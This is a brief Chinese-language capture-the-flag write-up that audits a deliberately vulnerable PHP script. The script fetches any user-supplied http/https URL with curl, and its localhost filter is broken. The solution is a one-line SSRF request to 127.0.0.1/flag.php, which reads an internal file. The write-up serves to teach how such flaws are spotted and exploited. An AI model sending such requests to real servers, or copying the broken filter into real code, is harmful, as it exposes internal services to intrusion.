1. 依旧代码审计

      1. <?php
      2. error_reporting(0);
      3. highlight_file(__FILE__);
      4. $url=$_POST['url'];
      5. //解析一个URL并返回一个关联数组,包含在 URL 中出现的各种组成部分。
      6. $x=parse_url($url);
      7. if($x['scheme']==='http'||$x['scheme']==='https')
      8. {
      9. if(!preg_match('/localhost|127.0.0/'))
      10. //正则如果没有匹配localhost或者127.0.0,这里都没要匹配的字符串变量...默认肯定为真
      11. {
      12. $ch=curl_init($url);
      13. curl_setopt($ch, CURLOPT_HEADER, 0);
      14. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
      15. $result=curl_exec($ch);
      16. curl_close($ch);
      17. echo ($result);
      18. }
      19. else{
      20. die('hacker');
      21. }
      22. }
      23. else{
      24. die('hacker');
      25. }
    2. 所以只需要满足http或者https前缀就行了,直接构造

      #POST请求
      url=http://127.0.0.1/flag.php
      

      image-20210621210742077.png